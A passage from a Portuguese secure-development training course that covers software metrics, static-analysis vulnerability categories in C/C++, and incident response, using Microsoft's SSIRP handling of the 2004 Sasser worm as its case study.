Exatamente por isso é preciso buscar o melhoramento contínuo das

soluções de medições. Medir processos, produtos e recursos de software são

importantes para: caracterizar; avaliar; prever; aperfeiçoar processos e

recursos de qualidade.Na engenharia de software são realizadas medidas e criadas métricas

para obter indicadores. É importante diferenciar esses conceitos no âmbito da

engenharia de software:

Medida é um valor real de um atributo (corresponde à quantidade,

dimensão, capacidade ou tamanho). Exemplo: número de erros encontrados.

Métrica é um conjunto de medidas ao qual se procura atribuir algum

sentido. Exemplo: erros cometidos por transação durante 24 horas de

funcionamento do software.

Indicador é uma métrica, ou conjunto de métricas, que fornece

compreensão de um processo de software, de um projeto de software ou do

produto propriamente dito. Exemplo: comparando-se métricas, chega-se à

conclusão de que pode haver falhas nos processos que suportam a Transação

X.

Possivelmente você já ouviu falar em medidas de qualidade (de projeto,

de design, ou de estabelecimento do processo), assim como em medidas de

produtividade (de produção, de resultado, ou de acompanhamento do

processo). A importância das métricas independe da variação dos nomes ou

destinação.

Métricas para estabelecimento do processo, também chamadas de

indicadores de projeto, permitem à organização de engenharia de software ter

idéia da eficácia de um determinado processo existente. Enquanto as métricas

para acompanhamento do processo, conhecidas como indicadores de

processo, tentam identificar problemas que atingem o produto resultante do

projeto. Ambas são extraídas do processo de software e serão tratadas a

seguir.



9.1. Métricas para o estabelecimento do processo

São conhecidas como métricas de projeto, de design, ou indicadores de

projeto, pois permitem estabelecer esse tipo de indicadores e:

avaliar o status de um projeto em andamento;

acompanhar riscos potenciais;

prever áreas com problemas antes que elas se tornem críticas;

ajustar o fluxo de trabalho ou tarefas;

avaliar a capacidade da equipe de projeto e controlar a qualidade dos

produtos do processo de software.

Medidas de projeto de software têm função essencialmente tática, pois

elas e os indicadores que dela derivam são usados pelo gerente de projeto e

pela equipe de software para ajustar o fluxo de trabalho e as atividades do

projeto:

Estimativas - no início do projeto, são usadas métricas coletadas de

projetos anteriores, que servirão de base para estimativas

de esforço e de tempo a serem despendidos no projeto.

Progressos - à medida que o projeto prossegue, esforço e tempo

efetivamente despendidos são comparados com métricas de

estimativas, permitindo monitorar e controlar o progresso.

Evolução - ao longo do trabalho técnico, é importante incorporar

outras métricas de projeto, como a as que permitem indicadores de

taxa de produção, representada em termos de páginas de

documentação, horas de revisão, pontos-por-função e linhas de

código fonte entregue.

Métricas de projeto possuem duplo objetivo, pois:

permitem minimizar o cronograma de desenvolvimento, em

decorrência de ajustes capazes de diminuir atrasos, problemas e

riscos.

possibilitam avaliar a qualidade do produto durante sua evolução e,

se necessário ajustar a abordagem técnica para aperfeiçoar a

qualidade.



Como resultado, pode-se alcançar a diminuição do custo total do projeto,

pois, à medida que a qualidade é aperfeiçoada, os defeitos são minimizados, e

a quantidade de retrabalho durante o projeto é também reduzida.

Métricas de projeto podem ter características variadas. Duas das

categorias mais utilizadas são as 'orientadas a função' e as 'orientadas ao

tamanho'. Falemos um pouco desta última.

Métricas orientads a tamanho têm origem na normalização das medidas

de qualidade e/ou produtividade, considerando o tamanho do software que foi

produzido. Não são universalmente aceitas como o melhor modo de medir o

processo de desenvolvimento de software, pois mudam conforme a linguagem

adotada e o estilo de programação. Mesmo assim podem ser bastante válidas

em projetos específicos.

Tomemos como exemplo uma situação em que se adote por medida-

base a quantidade de linhas de código-fonte (LOC). Em seguida, pode-se

definir as seguintes métricas simples orientadas ao tamanho de um projeto:

Erros por KLOC (milhares de Linhas de Código Fonte);

Defeitos por KLOC;

R$ por LOC (estimado…);

Páginas de documentação por KLOC;

Nesse mesmo caso, outras métricas relevantes poderiam ser definidas,

mas não necessariamente orientadas ao tamanho do projeto:

Erros por pessoa-mês;

LOC por pessoa-mês;

Custo por página de documentação (estimado…);

Vale observar que, em alguns casos, as mesmas métricas de software

podem ser usadas para determinar indicadores de projeto e de processo de

software. Ou seja, elas podem ser consideradas tanto como métricas de

estabelecimento quanto de acompanhamento de processo de software.

Em seguida, apresentamos diversas métricas que estão diretamente

relacionadas ao design de software. Decorrentes de levantamento feito por

Bezerra e Del Esposte (2014), elas mensuram atributos do como tamanho e

complexidade do software e foram selecionadas por serem facilmente



aplicáveis como métricas de código-fonte. Inicialmente são apresentadas

métricas relacionados a tamanho que, conforme acabamos de exemplificar,

são importantes para a composição de outras métricas capazes de medir

outras características do código-fonte:

LOC (Lines of Codes - Linhas de Código): LOC calcula o número

de linhas executáveis, desconsiderando linhas em branco e

comentários.

Total Number of Modules or Classes (Número Total de Módulos

ou Classes): mensura o tamanho do software baseado na

quantidade de módulos e classes, sendo menos sensível à

linguagens de programação, nível de desenvolvedores e estilo de

codificação.

AMLOC (Average Method LOC - Média de Número de Linhas de

Código por Método): avalia a distribuição do código entre os

métodos, sendo uma importante indicador de coesão, reutilização

e outras características importantes. Entretanto, assim como a

LOC, é dependente de linguagem e estilo de programação.

As próximas métricas apresentadas avaliam atributos estruturais do

software. São importantes para a compreensão do nível da qualidade do

design, principalmente manutenibilidade, flexibilidade e testabilidade.

NOA (Number of Attributes - Número de Atributos): calcula o

número de atributos de uma classe, permitindo avaliar a coesão.

Total Number of Modules or Classes (Número Total de Módulos

ou Classes): mensura o tamanho do software com base na

quantidade de módulos e classes, sendo menos sensível à

linguagem e ao estilo de codificação.

NOM (Number of Methods - Número de Métodos): refere-se ao

tamanho de uma classe medindo a quantidade de operações que

ela tem. Considerada como métrica de interpretação complexa.

NPA (Number of Public Attributes - Número de Atributos

Públicos): mede basicamente o encapsulamento de uma classe,

valor que deve ser o mais baixo possível.



NPM (Number of Public Methods - Número de Métodos Públicos):

muito importante para a compreensão da abstração da classe,

pois mede diretamente o tamanho da interface de acesso à

mesma. Utilizada para compreender o potencial de reusabilidade

e coesão de uma classe.

ANPM (Average Number of Parameters per Method - Média de

Parâmetros por Método): calcula a média de parâmetros dos

métodos da classe, onde não se deseja um valor alto.

MNPM (Maximum Number of Parameters per Method - Número

Má- ximo de Parâmetros por Método): corresponde à maior

ocorrência de número de parâmetros dos métodos de uma classe.

DIT (Depth of Inheritance Tree - Profundidade da Árvore de

Herança): consiste no número de classes ancestrais da classe em

análise, sem considerar heranças provindas de frameworks ou

bibliotecas. Para linguagens com herança múltipla, o valor desta

métrica é o DIT da maior hierarquia.

NOC (Number of Children - Número de Filhos): NOC consiste no

número de filhos direto de uma classe.

ACCM (Average Cyclomatic Complexity per Method - Média da

Complexidade Ciclomática por Método): Esta métrica mede a

complexidade média dos métodos de uma classe, baseando-se

na complexidade dos fluxos de controle existente no método.

As métricas seguintes medem características variadas, como

complexidade de classes, coesão e acoplamento.

RFC (Response For a Class - Resposta de uma Classe): mede a

complexidade de uma classe contando o número de métodos que

um objeto de uma classe pode invocar, tanto métodos internos

quanto de outras classes.

ACC (Afferent Connections per Class - Conexões Aferentes por

Classe): mede a conectividade de uma classe a partir da

contagem de quantas classes do sistema acessam um atributo ou

método da classe em análise.



CBO (Coupling Between Objects - Acoplamento Entre Objetos): é

a recíproca da ACC; calcula o número de dependência de classes

de uma classe específica em análise.

COF (Coupling Factor - Fator de Acoplamento): esta métrica é a

razão entre o número acoplamento existente que não sejam

provindos de herança e do número total de possíveis

acoplamentos.

LCOM4 (Lack of Cohesion in Methods - Ausência de Coesões em

Métodos): calcula o número de componentes conectados em uma

classe.

9.2. Métricas para o acompanhamento do processo

Métricas para acompanhamento do processo, métricas de resultado,

métricas de segurança, ou métricas de processo de software são termos

sinônimos. Eles designam métricas usadas com finalidade estratégica, pois

viabilizam a obtenção de indicadores que permitem ter idéia da eficácia de um

processo existente:

avaliando o que funciona, ou não;

sendo coletadas ao longo de todos os projetos e durante longos

períodos;

favorecendo o aperfeiçoamento do processo de software a longo

prazo.

Assim como no caso das métricas de design de software já mostradas,

existe grande variedade de métricas de processo. São ferramentas de análise

estática que utilizam técnicas de detecção para encontrar tipos específicos de

vulnerabilidades e quantificar o seu número de ocorrências. Ferramentas de

análise estáticas podem fornecer, por exemplo, as seguintes métricas

relacionadas a vulnerabilidades:

número total de vulnerabilidades no projeto;

número de vulnerabilidades por arquivo;

número de vulnerabilidades por função;



quantidade de vulnerabilidade especifica no projeto;

quantidade de vulnerabilidade especifica por arquivo;

Da mesma forma que as métricas de projeto, métricas de software

podem ter variada classificação. Entre os tipos mais conhecidos estão as

métricas orientada a objetos; para avaliar a coesão de classes; hierarquias de

classes existentes; nível de acoplamento entre classes; e de reuso de código.

A seguir, uma relação de métricas (a partir das vulnerabilidades

identificadas). Também elencadas por Bezerra e Del Esposte (2014), tais

vulnerabilidades podem ser encontradas e quantificadas por ferramentas de

análise estática de código para linguagem C e C++.

UAV(Uninitialized Argument Value - Varíavel não inicializada): identifica as

variáveis não inicializadas no código.

RSVA (Return of stack variable address - Retorno de endereço de uma

variável de pilha): acontece quando uma função retorna um endereço para

uma variável que está alocada na pilha (stack).

PITFC (Potential insecure temporary file in call "mktemp" - Arquivo

temporário pontencialmente inseguro pelo uso da chamada "mktemp"):

ocorre quando um arquivo temporário inseguro é criado e usado pela

aplicação, tornando a aplicação e o sistema de dados vuneráveis a ataques.

FGBO (Potential buffer overflow in call to "gets" - Possível Buffer Overflow

ao chamar a função "gets"): está relacionada ao uso da função "gets" da

linguagem C que copia toda informação passada pela entrada do programa

para um buffer sem checar se o tamanho da entrada é equivalente ao

tamanho do buffer. Caso a entrada seja maior que o buffer, haverá a

sobrescrita da memória adjacente, o que pode resultar em comportamento

errado do programa.

ASOM (Allocator sizeof operand mismatch - Operador de alocação de sizeof

não correspondente): consiste em passar o operador inadequado para o

tamanho de uma alocação de memória.

DUPV (Dereference of undefined pointer value - Acessar o valor de um

ponteiro não definido): ocorre quando um ponteiro que não foi inicializado é

acessado.



DBZ (Divisions by zero - Divisão por zero): acontece quando existe uma

divisão de um valor por zero; o que faz com que o programa pare de

funcionar.

MLK (Memory leak - Estouro de memória): O software não gerencia o uso

de memória, podendo resultar em consumo excessivo e falta de memória

para a aplicação.

OBAA (Out-of-bound array access - Acesso de posição de um array fora do

range): acontece quando a aplicação tenta acessar um indice de array que

está fora de seu range.

DF (Double free - Liberar memória duas vezes): ocorre na linguagem C,

quando o programa realiza a chamada free() duas vezes para o mesmo

ponteiro, o que pode corromper a estrutura de dados do programa que

gerencia a memória.

AUV (Assigned value is garbage or undefined - Valor atribuído é lixo ou

indefinido: ocorre quando não temos certeza que o valor atribuido existe,

normalmente acontece quando uma variável recebe um valor cuja origem

vem de entrada do usuário no sistema.

Com a relação acima, concluímos o item 9.2. Métricas para o

acompanhamento do processo que, juntamente com o tópico 9.1. Métricas para

o estabelecimento do processo, encerram mais uma unidade de aprendizagem.

Neste Capítulo 9 você tomou conhecimento das métricas de acompanhamento

para o estabelecimento e para o acompanhamento do processo de

desenvolvimento seguro.

Em RESUMO: Métrica => conjunto de medidas, referências que nos permitem produzir indicadores

para medir, quantificar, atributos. Medir processos, produtos e recursos de software => são importantes para

caracterizar; avaliar; prever; aperfeiçoar processos e recursos de segurança e qualidade.

Medida => valor real de um atributo (corresponde à quantidade, dimensão, capacidade ou tamanho).

Métrica => conjunto de medidas ao qual se procura atribuir algum sentido. Indicador => métrica, ou conjunto de métricas, que fornece compreensão de um

processo de software, de um projeto de software ou do produto.



Métricas para o estabelecimento do processo => de projeto, de design, de software, indicadores de projeto.

Métricas para o estabelecimento do processo => função tática; usadas para ajustar fluzo de trabalho e atividades do projeto.

Métricas para o acompanhamento do processo => de resultado, de segurança, ou métricas de processo, ou indicadores de processo.

Métricas para o acompanhamento do processo => usadas com finalidade estratégica, pois viabilizam a obtenção de indicadores que permitem ter idéia da eficácia de um processo.



10. Gestão de Vulnerabilidades e Resposta à Incidentes de Segurança

O Capítulo 10 discorre sobre a gestão de vulnerabilidades e resposta à

incidentes de segurança, dividindo a abordagem em dois tópicos, que você

verá ao longo desta unidade de aprendizagem:

o processo de resposta a incidentes de segurança; e

o papel da gestão de vulnerabilidades.

Conforme temos visto ao longo deste Curso, autenticação, autorização,

auditoria, confidencialidade, integridade e disponibilidade são alguns dos mais

importantes fundamentos da segurança. Aprendemos, também, que quando

pensamos em segurança, devemos primeiro conhecer as distinções entre

ameaças, ataques e vulnerabilidades.

Tomamos conhecimento de que, para desenvolver serviços seguros, é

indispensável identificar objetivos de segurança; modelar ameaças e tratar

vulnerabilidades; aplicar princípios, padrões e práticas; e usar técnicas de

engenharia de segurança durante todo o ciclo de vida do aplicativo.

Segundo a norma ABNT NBR ISO/IEC 27001:2006:

Gestão de vulnerabilidades técnicas tem por objetivo reduzir riscos

resultantes da exploração de vulnerabilidades técnicas conhecidas

(A.12.6) e

Controle de vulnerabilidades técnicas rquer que a informação seja

obtida em tempo hábil sobre vulnerabilidades técnicas dos sistemas

de informação em uso, avaliada a exposição da organização a estas

vulnerabilidades e tomadas as medidas apropriadas para lidar com

os riscos associados (A.12.61.1).

Tudo o que vimos até o momento deixa evidente que softwares e

serviços precisam ser mantidos, como um processo contínuo de busca da

segurança, de nada valendo se forem tratados apenas pontualmente.

Segurança é algo que, mesmo depois de implantada, requer a gestão de

vulnerabilidades e resposta à incidentes críticos, que abordaremos a seguir.



10.1. O Processo de Resposta a Incidentes de Segurança

Ainda segundo a norma ABNT NBR ISO/IEC 27001:2006, A.13, a gestão

de incidentes de segurança da informação envolve:

A.13.1 Notificação de fragilidades e eventos de segurança da

informação, que tem por objetivo assegurar que fragilidades e eventos

de segurança da informação associados com sistemas de informação

sejam comunicados, permitindo a tomada de ação corretiva em tempo

hábil.

A.13.1.1 Notificação de eventos de segurança da informação através

dos canais apropriados da direção, o mais rapidamente possível.

A.13.1.2 Notificação de fragilidades de segurança da informação, por

funcionários, fornecedores e terceiros de sistemas e serviços de

informação, que devem ser instruídos a registrar e notificar qualquer

observação ou suspeita de fragilidade em sistemas ou serviços.

A.13.2 Gestão de incidentes de segurança da informação e melhorias

para assegurar que um enfoque consistente e efetivo seja aplicado à

gestão de incidentes de segurança da informação.

A.13.2.1 Responsabilidades e procedimentos de gestão, que devem ser

estabelecidos para assegurar respostas rápidas, efetivas e ordenadas a

incidentes de segurança da informação.

A.13.2.2 Aprender com os incidentes de segurança da informação, por

meio de mecanismos estabelecidos para permitir que tipos, quantidades

e custos dos incidentes de segurança da informação sejam

quantificados e monitorados.

A.13.2.3 Coleta de evidências, nos casos em que uma ação de

acompanhamento contra uma pessoa ou organização, após um

incidente de segurança da informação, envolver uma ação legal (civil ou

criminal), evidências devem ser coletadas, armazenadas e apresentadas

em conformidade com as normas de armazenamento de evidências da

jurisdição ou jurisdições pertinentes.

As recomendações da ABNT NBR ISO/IEC 27001:2006 são cumpridas

pela abordagem da Microsoft, que tem usado com sucesso o SSIRP (Software



Security Incident Response Process) como processo de resposta a incidente

de segurança de software. O SSIRP tem ajudado o Microsoft Secutrity

Response Center (MSRC) a para responder a muitos incidentes de segurança

publicados, como o Sasser, Download.ject, e Mydoom. Além de remediar

muitos incidentes menos conhecidos. Em seguida, apresentamos uma

descrição das fases do SSIRP e de como o MSRC usou esse processo em

resposta ao Sasser.

O processo de resposta a incidente de segurança de software SSIRP é

constituído pelas seguintes fases:

Verificar;

Alertar e mobilizar recursos;

Avaliar e estabilizar;

Resolver;

Melhorias contínuas ao processo.

ATENÇÃO!

Tendo em vista seus aspectos práticos, o conteúdo desta unidade de aprendizagem foi essencialmente obtido a partir de orientações e cases disponíveis na página do Microsoft Security Response Center (MSRC). O MSRC é um centro líder de gerenciamento e análise de riscos de segurança, cujo repositório web é importante recurso para desenvolvedores e equipes de segurança. Saiba mais em: <https://www.microsoft.com/brasil/security/Msrc/default.mspx>.

A fase Verificar

Sempre que o MSRC lança uma atualização de segurança,

desencadeia-se entre seus parceiros uma verificação cuidadosa, buscando os

sinais maliciosos dos que tentam explorar usuários que nunca aplicaram a

atualização ou uma solução alternativa.

Por isso, o MSRC mantém uma coordenação sólida com os parceiros de

mercado, como a VIA (Virus Information Alliance), os ISVs (fornecedores de

software independentes), os ISPs (Provedores de Serviço de Internet) por meio

do programa GIAIS, os OEMs (fabricantes de equipamentos originais) e as

organizações governamentais.

Tal cooperação ajuda o MSRC a garantir uma originária de múltiplos

fornecedores, para o caso de um incidente de segurança, certificando-se de


https://www.microsoft.com/brasil/security/Msrc/default.mspx


que ela possa remediar as vulnerabilidades em todos os produtos afetados, e

não só os da Microsoft. Permite, também, que durante um incidente de

segurança, o MSRC possa fornecer e compartilhar informações com os

parceiros, a fim de melhor entender o impacto total de um incidente de

segurança em dada situação.

Para ilustrar, todas as fases do processo, tomemos a ocorrência iniciada

em 13 de Abril de 2004, quando a Microsoft lançou boletins de segurança para

aquele mês, incluindo o MS04-011, uma atualização que remediou 14

diferentes vulnerabilidades no mesmo conjunto de arquivos. Feita a publicação,

o MSRC e seus parceiros começaram a monitorar de perto as linhas de suporte

ao cliente, os grupos de notícias, as atividades da comunidade e as dúvidas da

imprensa.

No mesmo dia, o pesquisador que, originalmente, forneceu as

informações sobre uma vulnerabilidade remediada no MS04-011 lançou uma

descrição técnica detalhada separada. Como resultado, o MSRC entrou em

uma fase ainda maior de verificação.

Já que a vulnerabilidade específica que o MS04-011 apontou poderia

causar uma falha no Local Security Authority Subsystem Service (LSASS), um

dos processos responsáveis pela garantia dos mecanismos de segurança do

Microsoft Windows, a equipe começou a verificar mais de perto as falhas do

serviço LSASS. No final de abril, o primeiro código de comprovação, que

demonstrou como a vulnerabilidade poderia ser explorada, foi disponibilizado

online.

Alertar e Mobilizar Recursos

Em 29 de abril, o Product Support Services (PSS) percebeu um aumento

repentino nas chamadas e nas falhas ao LSASS. Além disso, duas variantes do

código de comprovação, agora batizada de "Sasser", foram reportadas. Neste

momento, o PSS imediatamente percebeu o MSRC, que instantaneamente

gerou a fase de Alertar e Mobilizar Recursos do SSIRP.

O MSRC anunciou mundialmente os primeiros respondentes, que se

dividiram rapidamente em duas equipes para avaliar a severidade e obter um

entendimento mais abrangente da situação: a Equipe de Engenharia

Emergencial e de Comunicações Emergenciais.



Avaliar e Estabilizar

A Equipe de Engenharia Emergencial iniciou imediatamente sua

investigação, testando as variantes do Sasser de acordo com a atualização

MS04-011 para garantir que a atualização protegesse essa exploração

específica. Começou, também, a testar as soluções alternativas listadas no

boletim para garantir que elas fossem efetivas contra o Sasser.

Como o MSRC já havia apontado a vulnerabilidade em uma atualização

de software, as principais instruções iniciais para os usuários foram voltadas a

aplicar imediatamente a atualização. Dentro de alguns minutos, a Equipe de

Comunicações Emergenciais já havia disponibilizado essas e outras

informações iniciais sobre as áreas cuidadosamente selecionadas do site da

Microsoft.com.

Além disso, a equipe criou uma página de resposta de incidentes dentro

da seção de Segurança do Microsoft.com, incluindo essas informações. Para

ajudar os clientes a lidar com essa ameaça, a Equipe de Comunicações

Emergenciais também disponibilizou anúncios na rede para alertar os usuários

quanto ao problema e para direcioná-los a mais informações, fornecendo

também informações prescritivas por todas as fases remanescentes do

processo de resposta ao incidente.

Durante o processo, a organização de Vendas, Marketing e Serviços da

Microsoft recebeu informações importantes sobre a situação e algumas

instruções específicas sobre o contato com vários participantes. Alertas de e-

mail também foram enviados aos assinantes, por meio de um serviço de

notificação de segurança.

A Equipe de Comunicações Emergenciais também trabalhou, de

maneira sólida, com os parceiros para comparar as informações sobre como o

Sasser vinha se disseminando. Dentro de quatro horas, o MSRC preparou as

principais descobertas para uso do PSS, portanto, a equipe já poderia oferecer

boas instruções aos clientes. A equipe também forneceu essas informações,

juntamente com scripts de chamadas ao suporte e conteúdos oficiais da Web,

ao GIAIS e aos parceiros da VIA, para ajudá-los a informar outros clientes.

Para estabilizar ainda mais a situação, a Equipe de Engenharia

Emergencial começou rapidamente a trabalhar sobre uma ferramenta mais

adequada para remover dos sistemas infectados o Sasser e quaisquer de suas



variantes. Em 3 de maio, o MSRC lançou o Sasser Worm Removal Tool v1.0

na Central de Downloads Microsoft. Finalmente, a ferramenta de remoção foi

disponibilizada no site do Windows Update. As tentativas da equipe de avaliar e

estabilizar os efeitos do incidente Sasser levaram apenas quatro dias.

Resolver

De 4 a 10 de maio de 2004, a Sasser Worm Removal Tool foi a chave

para uma tentativa em massa, de clientes e parceiros, de ajudar a limpar e a

restaurar os sistemas infectados. Durante esse período, o MSRC também

apresentou um Sasser Technical Webcast, disponibilizou online os chats de

suporte e atualizou os sites da Microsoft. A partir de então, a Microsoft atualiza,

continuamente, a ferramenta de remoção para buscar novas variantes do

Sasser.

Depois de resolver o incidente Sasser, o MSRC conduziu uma avaliação

interna de toda a tentativa de resposta para reforçar aquilo que foi bem e para

aprimorar o processo de futuras tentativas de resposta. Essa fase do incidente

Sasser, que é uma prática padrão para um incidente de segurança, trouxe

ainda mais melhorias ao processo. Como resultado, o MSRC desenvolveu um

processo mundial mais maduro e repetitivo.

Melhorias Contínuas ao Processo

Da fase inicial de Alertas até a fase final de Resolver do incidente

Sasser, o MSRC forneceu informações adequadas e relevantes, além de

recursos para proteger os clientes. A vigilância durante as primeiras duas

semanas da fase Verificar, as comunicações agressivas para instruir os

clientes a implantar a atualização o mais rápido possível e o total entendimento

de como seria um ataque do LSASS fizeram com que o MSRC identificasse e

estabilizasse a ameaça Sasser antes de ela sair do controle.

Além disso, por meio da campanha Proteja Seu PC, introduzida após o

incidente Blaster, a equipe de Comunicações pôde incentivar os clientes a

ativar as Atualizações Automáticas, diminuindo assim o impacto do Sasser.

Notavelmente, o MSRC pôde trabalhar durante todas as fases subseqüentes

do SSIRP em apenas 5 dias—uma grande melhoria com relação aos incidentes

anteriores com potencial de impacto semelhante, como o incidente Blaster, que

precisou de 38 dias do início ao fim.



Mesmo com essa grande melhoria, o MSRC está em constante alerta

para ser cada vez mais proativo, dinamizar seus processos e desenvolver

planos para que diversos públicos ajudem os clientes a se manter protegidos,

recuperando sempre as operações durante futuros incidentes de segurança.

10.2. O Papel da Gestão de Vulnerabilidades

O case que acamos de descrever, com detalhes do ataque do Sasser

sobre o LSASS, é suficiente, por si só, para evidenciar o importante papel da

gestão de vulnerabilidades. Já não restam dúvidas sobre a importância de

manter os sistemas atualizados, o monitoramento, e a boa comunicação entre

as equipes de segurança, fornecedores e clientes.

Em termos de segurança na gestão de vulnerabilidades, a indústria de

software vem percorrendo um longo caminho. Esse roteiros passam pelo

desenvolvimento de processos de controle; pelas atualizações de segurança

fornecidas pelos fornecedores; pela intensiva busca por processos maduros,

sem desprezar a necessidade de atualizar seus ambientes de segurança.

Nesse contexto, o MSRC tem a responsabilidade de limitar os efeitos

dos potenciais problemas de segurança. E faz isso, propondo algumas práticas

de segurança, quase todas relacionads à informação quanto aos problemas

existentes e à garantia de atualização de software sempre atualizado.

Em sua página na internet, o MSRC discute a gestão de vulnerabilidades

e incidentes de segurança, a partir de duas abordagens, que transcrevemos a

seguir:

O que você pode fazer para ajudar a gerenciar as vulnerabilidades de

segurança

O que fazer quando ocorrer um incidente de segurança

O que você pode fazer para ajudar a gerenciar as vulnerabilidades de

segurança

Reporte as vulnerabilidades de segurança mais suspeitas.

Cadastre-se para receber notificações sobre as atualizações de

segurança (defina preferências para receber alertas por email, ou por


https://www.microsoft.com/brasil/security/bulletins/alerts.mspx

https://www.microsoft.com/brasil/security/bulletins/alerts.mspx

https://www.microsoft.com/technet/security/bulletin/alertus.aspx

https://www.microsoft.com/brasil/security/msrc/do.mspx#EID

https://www.microsoft.com/brasil/security/msrc/do.mspx#ERB

https://www.microsoft.com/brasil/security/msrc/do.mspx#ERB


qualquer outro meio, inclusive dispositivos móveis)

Use feeds RSS dos boletins de segurança.

Receba notificações antecipadas sobre os lançamentos dos boletins.

Faça download das atualizações e implante-as a partir do Microsoft

Windows Update, da Central de Downloads Microsoft e Microsoft

Office Downloads.

Cadastre-se para receber Webcasts dos Boletins de Segurança.

Confira a Consultoria de Segurança Microsoft.

Procure os boletins de segurança.

Utilize recursos de segurança para manter seu PC protegido.

O que fazer quando ocorrer um incidente de segurança

Visite o site de Segurança Microsoft para saber as últimas

informações sobre os incidentes de segurança.

Leia o Blog do MSRC para obter informações atualizadas.

Mantenha-se em dia com as atualizações de segurança a partir

do Microsoft Windows Update e da Central de Downloads Microsoft.

Utilize recursos de segurança para manter seu PC protegido.

Execute a ferramenta de remoção de software malicioso do

Windows.

Chegamos ao final do último capítulo do nosso Curso. Nele, você

conheceu o papel da gestão de vulnerabilidades e o processo de resposta à

incidentes de segurança. Considerando a característica pontual deste

conteúdo, esta unidade de aprendizagem não comporta um tópico Em RESUMO.


https://www.microsoft.com/downloads

http://windowsupdate.microsoft.com/

https://www.microsoft.com/brasil/security

https://www.microsoft.com/brasil/security

https://www.microsoft.com/technet/security/current.aspx

https://www.microsoft.com/technet/security/advisory

https://www.microsoft.com/technet/security/bulletin/summary.mspx

http://officeupdate.microsoft.com/

http://officeupdate.microsoft.com/

https://www.microsoft.com/downloads



https://www.microsoft.com/technet/security/bulletin/advance.mspx

https://www.microsoft.com/technet/security/bulletin/secrssinfo.mspx


CONSIDERAÇÕES FINAIS

Chegamos ao final do PDTI Módulo 3, SDL. Com ele, concluímos,

também, o nosso Curso: Plano de Desenvolvimento da Tecnologia de

Informação.

Ao longo dos três módulos do Curso você recebeu uma visão ampla de

análise de negócios, com o BABOK®3; aprendeu a conduzir projetos em

ambientes controlados, com o PRINCE2®; e muniu-se com o instrumental para

desenvolvimento seguro de aplicações, por meio do SDL.

Como sabemos desde o início, esse treinamento representa uma

iniciativa que reflete a preocupação da CAIXA com a Governança de TI, para

ampliar a capacidade dos empregados CAIXA de identificar necessidades de

negócios e definir soluções seguras para atendê-las.

Ao longo dos dez capítulos deste Curso, você teve a oportunidade de

iniciar e avançar na temática do desenvolvimento seguro, além da definição de

risco e de técnicas básicas para sua administração. Entendeu a importância da

segurança em desenvolvimento; justificativas operacionais e estratégicas;

cases de implementação; e teve uma visão geral de regulamentações que

demandam segurança em desenvolvimento. Conheceu o Security Development

Lifecycle (SDL), suas fases de planejamento; de design; de implementação; e

de administração da solução. Entendeu os papéis e responsabilidades de

revisores, especialistas, auditores e facilitadores no contexto da proposta do

SDL. Percebeu o processo de modelagem de ameaças. Foi apresentado à

comunidade internacional Open Web Application Security Project (OWASP) e a

todas as vulnerabilidades discriminadas pelo OWASP Top 10 2013. Incorporou

as noções de segurança por código; práticas gerais de código seguro;

validação de entradas e codificação de saída; autenticação e gerenciamento de

senhas; autorização e gerenciamento de acesso; gerenciamento de sessão;


de dados; tratamento adequado de erros; e logging. Tratou as questões

relativas ao suporte na revisão e desenvolvimento, ferramentas de suporte a

análise e o recurso continuous delivery. Abordou métricas para o



estabelecimento e para o acompanhamento do processo de desenvolvimento

seguro. Familiarizou-se com os processos de resposta a incidentes de

segurança e de gestão de vulnerabilidades.

Acrescente todo esse conteúdo ao que conheceu nos dois primeiros

módulos, BABOK®3 e ao PRINCE2®. Você, muito provavelmente, está pronto

para exercitar bem melhor suas atividades como analista de negócios; gerente

de projetos; revisor, especialista, auditor ou facilitador de segurança.

Foi uma jornada longa e complexa, que você acabou de concluir.

Parabéns.

FONTES CONSULTADAS

ABNT. NBR ISO/IEC 27001 - Tecnologia da informação - Técnicas de segurança - Sistemas de gestão de segurança da informação – Requisitos. Rio de Janeiro: ABNT, 2006.

ABNT. NBR ISO/IEC 27002 - Tecnologia da informação: código de prática para a gestão da segurança da informação. Rio de Janeiro: ABNT, 2005.

ABNT. NBR ISO/IEC 27005 - Tecnologia da informação — Técnicas de segurança — Gestão de riscos de segurança da informação. Rio de Janeiro: ABNT, 2011.

BEZERRA, Carlos Filipe Lima; DEL ESPOSTE, Arthur de Moura. Tomada de decisões orientadas a métricas de software: observações de métricas de produto e vulnerabilidades de software via DW e Plataforma de monitoramente de código-fonte. Trabalho de Conclusão de Curso – Universidade de Brasília - UnB Faculdade UnB Gama - FGA , 2014.

BRASIL, Cartilha de Segurança para Internet, versão 4.0 / CERT.br – São Paulo: Comitê Gestor da Internet no Brasil, 2012.

BRASIL, Cartilha técnica SLTI. Guia de interoperabilidade, Brasília 2013.

BRASIL, Guia de Orientação para Implementação de Web Services . Disponível em http://www.governoeletronico.gov.br/anexos/guia-de-orientacao-para-implementacao-de-webservices/view Acesso: fev 2017.

BRASIL, Ministério do Planejamento Orçamento e Gestão. Secretaria de Logística e Tecnologia da Informação. Departamento de Serviços de Rede. Guia de referencia para a segurança da informação usuário final. Brasília, 2005.

BRASIL, Norma Complementar IN-GSI/PR nº 1 de 15 de Outubro de 2008.



BRASIL, Presidência da Republica. Casa Civil. Decreto nº 3.505 de 13 de Junho de 2000.

BRASIL, Presidência da República. Gabinete de Segurança Institucional. Departamento de Segurança da Informação e Comunicações. Livro verde : segurança cibernética no Brasil – Brasília, 2010.

HUMBLE, Jez; FARLEY, David. Continuous delivery : reliable software

releases through build, test, and deployment automation. Boston: Pearso, 2011.

MICROSOFT, Microsoft Security Development Lifecycle Process 5.2 –

2012.

Microsoft, Security and Identity. Microsoft Security Development Lifecycle (SDL): Process Guidance. Disponível em: <https://msdn.microsoft.com/en-us/library/84aed186-1d75-4366-8e61-8d258746bopq.aspx>. Acesso: fev. 2017.

Microsoft, TechNet Library. Patterns & Practices. Improving Web Services Security: Scenarios and Implementation Guidance for WCF. Chapter 1: Security

Fundamentals for Web Services. Disponível em: <

https://msdn.microsoft.com/pt-br/enus/library/ff648318.aspx#WebServicesSecurityPrinc

iples>. Acesso: fev. 2017.

Microsoft, TechNet Library. Patterns & Practices. Modelagem de Ameaças de Segurança. Elaboração de Modelos de Ameaças. Disponível em: <https://technet.microsoft.com/pt-br/pt%C2%ADbr/library/dd569893.aspx>. Acesso: fev. 2017.

NIST, National Institute of Standards and Technology. Special Publication 800-95 (Aug. 2007)

NIST, National Institute of Standards and Technology Special Publication

800-64 (Oct. 2008).

